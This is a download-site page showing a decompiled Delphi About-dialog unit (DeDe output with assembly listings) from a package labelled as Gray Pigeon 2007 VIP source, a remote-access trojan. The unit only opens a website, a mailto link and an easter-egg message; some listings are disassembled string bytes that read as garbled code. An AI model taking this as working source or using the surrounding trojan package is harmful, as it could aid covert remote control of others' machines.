⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 aboutunit.pas

📁 灰鸽子2007VIP版源码
💻 PAS
字号:
unit AboutUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TAboutForm=class(TForm)
    DSF: N.A.;
    Button1: TButton;
    Bevel1: N.A.;
    Image1: N.A.;
    Label4: TLabel;
    Label3: TLabel;
    Label2: N.A.;
    Label1: TLabel;
    procedure Button1Click(Sender : TObject);
    procedure Label2Click(Sender : TObject);
    procedure Label3Click(Sender : TObject);
    procedure FormKeyDown(Sender : TObject);
    procedure _PROC_00572AC8(Sender : TObject);
    procedure _PROC_00572BBB(Sender : TObject);
    procedure _PROC_00572BF9(Sender : TObject);
    procedure _PROC_00572C34(Sender : TObject);
    procedure _PROC_00572C3C(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  AboutForm: TAboutForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TAboutForm.Button1Click(Sender : TObject);
begin
(*

* Reference to: Forms.TCustomForm.Close(TCustomForm);
|
00572AA8   E83B15F1FF             call    00483FE8
00572AAD   C3                     ret

*)
end;

procedure TAboutForm.Label2Click(Sender : TObject);
begin
(*
00572AB0   6A03                   push    $03
00572AB2   6A00                   push    $00
00572AB4   6A00                   push    $00

* Possible String Reference to: 'http://www.huigezi.net/'
|
00572AB6   68C82A5700             push    $00572AC8

* Possible String Reference to: 'open'
|
00572ABB   68E02A5700             push    $00572AE0
00572AC0   6A00                   push    $00

* Reference to: shell32.ShellExecuteA()
|
00572AC2   E82112ECFF             call    00433CE8
00572AC7   C3                     ret

*)
end;

procedure TAboutForm.Label3Click(Sender : TObject);
begin
(*
00572AE8   6A05                   push    $05
00572AEA   6A00                   push    $00
00572AEC   6A00                   push    $00

* Possible String Reference to: 'mailto:huigezi@vip.163.com'
|
00572AEE   68002B5700             push    $00572B00

* Possible String Reference to: 'open'
|
00572AF3   681C2B5700             push    $00572B1C
00572AF8   6A00                   push    $00

* Reference to: shell32.ShellExecuteA()
|
00572AFA   E8E911ECFF             call    00433CE8
00572AFF   C3                     ret

*)
end;

procedure TAboutForm.FormKeyDown(Sender : TObject);
begin
(*
00572B24   55                     push    ebp
00572B25   8BEC                   mov     ebp, esp
00572B27   6A00                   push    $00
00572B29   53                     push    ebx
00572B2A   56                     push    esi
00572B2B   8BD9                   mov     ebx, ecx
00572B2D   8BF0                   mov     esi, eax
00572B2F   33C0                   xor     eax, eax
00572B31   55                     push    ebp
00572B32   68AD2B5700             push    $00572BAD

***** TRY
|
00572B37   64FF30                 push    dword ptr fs:[eax]
00572B3A   648920                 mov     fs:[eax], esp

* Reference to class EIdInvalidFTPListingFormat
|
00572B3D   A0BC2B5700             mov     al, byte ptr [$00572BBC]
00572B42   3A4508                 cmp     al, byte ptr [ebp+$08]
00572B45   7550                   jnz     00572B97
00572B47   66833B41               cmp     word ptr [ebx], +$41
00572B4B   724A                   jb      00572B97
00572B4D   66833B5A               cmp     word ptr [ebx], +$5A
00572B51   7744                   jnbe    00572B97
00572B53   8D45FC                 lea     eax, [ebp-$04]
00572B56   668B13                 mov     dx, word ptr [ebx]

* Reference to: System.@LStrFromChar(String;String;Char);
|           or: System.@LStrFromWChar(String;String;WideChar);
|           or: System.@WStrFromChar(WideString;WideString;Char);
|           or: System.@WStrFromWChar(WideString;WideString;WideChar);
|
00572B59   E8B620E9FF             call    00404C14
00572B5E   8B55FC                 mov     edx, [ebp-$04]
00572B61   B804FD5D00             mov     eax, $005DFD04

* Reference to: System.@LStrCat;
|
00572B66   E88921E9FF             call    00404CF4
00572B6B   A104FD5D00             mov     eax, dword ptr [$005DFD04]

* Possible String Reference to: 'LOVE'
|
00572B70   BAC82B5700             mov     edx, $00572BC8

* Reference to: System.@LStrCmp;
|
00572B75   E8BE22E9FF             call    00404E38
00572B7A   751B                   jnz     00572B97

* Possible String Reference to: '慧到永远!          葛军'
|
00572B7C   B8D82B5700             mov     eax, $00572BD8

* Reference to: Dialogs.ShowMessage(AnsiString);
|
00572B81   E84636ECFF             call    004361CC
00572B86   B804FD5D00             mov     eax, $005DFD04

* Reference to: System.@LStrClr(void;void);
|
00572B8B   E89C1EE9FF             call    00404A2C
00572B90   8BC6                   mov     eax, esi

* Reference to: Forms.TCustomForm.Close(TCustomForm);
|
00572B92   E85114F1FF             call    00483FE8
00572B97   33C0                   xor     eax, eax
00572B99   5A                     pop     edx
00572B9A   59                     pop     ecx
00572B9B   59                     pop     ecx
00572B9C   648910                 mov     fs:[eax], edx

****** FINALLY
|
00572B9F   68B42B5700             push    $00572BB4
00572BA4   8D45FC                 lea     eax, [ebp-$04]

* Reference to: System.@LStrClr(void;void);
|
00572BA7   E8801EE9FF             call    00404A2C
00572BAC   C3                     ret


* Reference to: System.@HandleFinally;
|
00572BAD   E9DE17E9FF             jmp     00404390
00572BB2   EBF0                   jmp     00572BA4

****** END
|
00572BB4   5E                     pop     esi
00572BB5   5B                     pop     ebx
00572BB6   59                     pop     ecx
00572BB7   5D                     pop     ebp
00572BB8   C20400                 ret     $0004

*)
end;

procedure TAboutForm._PROC_00572AC8(Sender : TObject);
begin
(*
00572AC8   687474703A             push    $3A707474
00572ACD   2F                     das
00572ACE   2F                     das
00572ACF   7777                   jnbe    00572B48
00572AD1   772E                   jnbe    00572B01
00572AD3   6875696765             push    $65676975
00572AD8   7A69                   jp      00572B43
00572ADA   2E6E                   outsb
00572ADC   65742F                 jz      00572B0E
00572ADF   006F70                 add     [edi+$70], ch
00572AE2   656E                   outsb
00572AE4   0000                   add     [eax], al

00572AE6   0000                   add     [eax], al

00572AE8   6A05                   push    $05
00572AEA   6A00                   push    $00
00572AEC   6A00                   push    $00

* Possible String Reference to: 'mailto:huigezi@vip.163.com'
|
00572AEE   68002B5700             push    $00572B00

* Possible String Reference to: 'open'
|
00572AF3   681C2B5700             push    $00572B1C
00572AF8   6A00                   push    $00

* Reference to: shell32.ShellExecuteA()
|
00572AFA   E8E911ECFF             call    00433CE8
00572AFF   C3                     ret

00572B00   6D                     insd
00572B01   61                     popa
00572B02   696C746F3A687569       imul    ebp, [esp+esi*2+$6F], $6975683A
00572B0A   67657A69               jp      00572B77
00572B0E   40                     inc     eax
00572B0F   7669                   jbe     00572B7A
00572B11   702E                   jo      00572B41
00572B13   3136                   xor     [esi], esi
00572B15   332E                   xor     ebp, [esi]
00572B17   636F6D                 arpl    [edi+$6D], bp
00572B1A   0000                   add     [eax], al

00572B1C   6F                     outsd
00572B1D   7065                   jo      00572B84
00572B1F   6E                     outsb
00572B20   0000                   add     [eax], al

00572B22   0000                   add     [eax], al

00572B24   55                     push    ebp
00572B25   8BEC                   mov     ebp, esp
00572B27   6A00                   push    $00
00572B29   53                     push    ebx
00572B2A   56                     push    esi
00572B2B   8BD9                   mov     ebx, ecx
00572B2D   8BF0                   mov     esi, eax
00572B2F   33C0                   xor     eax, eax
00572B31   55                     push    ebp
00572B32   68AD2B5700             push    $00572BAD

***** TRY
|
00572B37   64FF30                 push    dword ptr fs:[eax]
00572B3A   648920                 mov     fs:[eax], esp

* Reference to class EIdInvalidFTPListingFormat
|
00572B3D   A0BC2B5700             mov     al, byte ptr [$00572BBC]
00572B42   3A4508                 cmp     al, byte ptr [ebp+$08]
00572B45   7550                   jnz     00572B97
00572B47   66833B41               cmp     word ptr [ebx], +$41
00572B4B   724A                   jb      00572B97
00572B4D   66833B5A               cmp     word ptr [ebx], +$5A
00572B51   7744                   jnbe    00572B97
00572B53   8D45FC                 lea     eax, [ebp-$04]
00572B56   668B13                 mov     dx, word ptr [ebx]

* Reference to: System.@LStrFromChar(String;String;Char);
|           or: System.@LStrFromWChar(String;String;WideChar);
|           or: System.@WStrFromChar(WideString;WideString;Char);
|           or: System.@WStrFromWChar(WideString;WideString;WideChar);
|
00572B59   E8B620E9FF             call    00404C14
00572B5E   8B55FC                 mov     edx, [ebp-$04]
00572B61   B804FD5D00             mov     eax, $005DFD04

* Reference to: System.@LStrCat;
|
00572B66   E88921E9FF             call    00404CF4
00572B6B   A104FD5D00             mov     eax, dword ptr [$005DFD04]

* Possible String Reference to: 'LOVE'
|
00572B70   BAC82B5700             mov     edx, $00572BC8

* Reference to: System.@LStrCmp;
|
00572B75   E8BE22E9FF             call    00404E38
00572B7A   751B                   jnz     00572B97

* Possible String Reference to: '慧到永远!          葛军'
|
00572B7C   B8D82B5700             mov     eax, $00572BD8

* Reference to: Dialogs.ShowMessage(AnsiString);
|
00572B81   E84636ECFF             call    004361CC
00572B86   B804FD5D00             mov     eax, $005DFD04

* Reference to: System.@LStrClr(void;void);
|
00572B8B   E89C1EE9FF             call    00404A2C
00572B90   8BC6                   mov     eax, esi

* Reference to: Forms.TCustomForm.Close(TCustomForm);
|
00572B92   E85114F1FF             call    00483FE8
00572B97   33C0                   xor     eax, eax
00572B99   5A                     pop     edx
00572B9A   59                     pop     ecx
00572B9B   59                     pop     ecx
00572B9C   648910                 mov     fs:[eax], edx

****** FINALLY
|
00572B9F   68B42B5700             push    $00572BB4
00572BA4   8D45FC                 lea     eax, [ebp-$04]

* Reference to: System.@LStrClr(void;void);
|
00572BA7   E8801EE9FF             call    00404A2C
00572BAC   C3                     ret

*)
end;

procedure TAboutForm._PROC_00572BBB(Sender : TObject);
begin
(*
00572BBB   0002                   add     [edx], al
00572BBD   0000                   add     [eax], al

*)
end;

procedure TAboutForm._PROC_00572BF9(Sender : TObject);
begin
(*
00572BF9   8BEC                   mov     ebp, esp
00572BFB   33C0                   xor     eax, eax
00572BFD   55                     push    ebp
00572BFE   68292C5700             push    $00572C29

***** TRY
|
00572C03   64FF30                 push    dword ptr fs:[eax]
00572C06   648920                 mov     fs:[eax], esp
00572C09   FF0508FD5D00           inc     dword ptr [$005DFD08]
00572C0F   750A                   jnz     00572C1B
00572C11   B804FD5D00             mov     eax, $005DFD04

* Reference to: System.@LStrClr(void;void);
|
00572C16   E8111EE9FF             call    00404A2C
00572C1B   33C0                   xor     eax, eax
00572C1D   5A                     pop     edx
00572C1E   59                     pop     ecx
00572C1F   59                     pop     ecx
00572C20   648910                 mov     fs:[eax], edx

****** FINALLY
|
00572C23   68302C5700             push    $00572C30
00572C28   C3                     ret


* Reference to: System.@HandleFinally;
|
00572C29   E96217E9FF             jmp     00404390
00572C2E   EBF8                   jmp     00572C28

****** END
|
00572C30   5D                     pop     ebp
00572C31   C3                     ret

*)
end;

procedure TAboutForm._PROC_00572C34(Sender : TObject);
begin
(*
00572C34   832D08FD5D0001         sub     dword ptr [$005DFD08], +$01
00572C3B   C3                     ret

*)
end;

procedure TAboutForm._PROC_00572C3C(Sender : TObject);
begin
(*
00572C3C   882C57                 mov     [edi+edx*2], ch
00572C3F   0000                   add     [eax], al

*)
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -